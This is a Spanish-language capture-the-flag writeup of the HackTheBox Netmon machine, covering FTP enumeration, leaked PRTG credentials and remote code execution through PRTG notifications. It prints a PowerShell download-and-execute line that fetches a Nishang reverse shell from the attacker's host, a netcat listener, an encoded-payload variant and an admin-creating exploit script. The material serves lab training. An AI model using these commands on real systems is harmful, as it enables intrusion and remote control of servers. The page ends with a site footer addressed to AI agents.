> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md).

# Writeup de Netmon en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Netmon>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración FTP
* Fuga de información
* Divulgación de credenciales de PRTG Network Monitor
* Ejecución de comandos de notificación de PRTG
* Entrega de una reverse shell de PowerShell
  {% endhint %}

## Reconocimiento

Crea el espacio de trabajo y ejecuta el escaneo TCP completo:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts
```

<figure><img src="/files/7c7f4d4fa3f87d8778100c6311f99b9183ad003c" alt=""><figcaption></figcaption></figure>

Ejecuta el escaneo de servicios dirigido:

```bash
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
```

<figure><img src="/files/b2e60eba4466d25c170e21fd0f625f63a67af288" alt=""><figcaption></figcaption></figure>

## Enumeración FTP

FTP permite acceso anónimo.

<figure><img src="/files/8038724fc1f1d2dee8c549491667b59100d4adbd" alt=""><figcaption></figcaption></figure>

La flag de usuario se puede leer a través de FTP en la ruta del escritorio del usuario.

<figure><img src="/files/caa3224d55497c149d05289c605c362753f27830" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor

El puerto 80 expone una **PRTG Network Monitor** interfaz web.

<figure><img src="/files/7af4a70762acb1e1af8d7d53ece7dad4c8a73cde" alt=""><figcaption></figcaption></figure>

Revisa el directorio de configuración:

```
ProgramData/Paessler/PRTG Network Monitor/
```

<figure><img src="/files/aaa34e47ac4be5f8d01f5bd7f1010619a914e796" alt=""><figcaption></figcaption></figure>

El archivo de configuración de respaldo deja credenciales:

```
PRTG Configuration.old.bak
```

<figure><img src="/files/f48c599e8731e80daee933f14643f6eccb8c2f2b" alt=""><figcaption></figcaption></figure>

Credenciales recuperadas:

* Nombre de usuario: `prtgadmin`
* Contraseña: `PrTg@dmin2018`

<figure><img src="/files/65b7bc75c3de13b8fe29c0b24c29eaf34c54f648" alt=""><figcaption></figcaption></figure>

Como el archivo es una copia de seguridad antigua, prueba el año actualizado en la contraseña. El acceso es válido con:

```
PrTg@dmin2019
```

<figure><img src="/files/ba0e9c18ddd284824a1f4e1adf8e3247a200ebd9" alt=""><figcaption></figcaption></figure>

## RCE de PRTG

Las notificaciones de PRTG pueden ejecutar comandos en el servidor. Usa un script de reverse shell de PowerShell alojado y actívalo mediante una acción de notificación.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Descarga y prepara el payload de PowerShell:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

Inicia un listener:

```bash
rlwrap nc -nvlp 443
```

En PRTG, ve a `Setup > Account Settings > Notifications` y crea una acción de notificación que descargue y ejecute el script alojado.

<figure><img src="/files/56398d2bda78acae8c4394be851270713c939a61" alt=""><figcaption></figcaption></figure>

Patrón de comando:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

Si la devolución de llamada de descarga llega al servidor HTTP pero la shell no se obtiene, codifica el script de PowerShell como Base64 UTF-16LE y ejecútalo con `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

## Ruta de explotación automatizada

SearchSploit incluye un exploit de PRTG que crea un nuevo usuario administrativo cuando se le proporciona una cookie autenticada válida.

```bash
searchsploit -m windows/webapps/46527.sh
```

Ejecuta el exploit con la URL objetivo y la cookie de sesión:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

El exploit crea:

* Nombre de usuario: `pentest`
* Contraseña: `P3nT3st!`

<figure><img src="/files/729a454fa2602c29f5ce5f025389d98304432ecc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
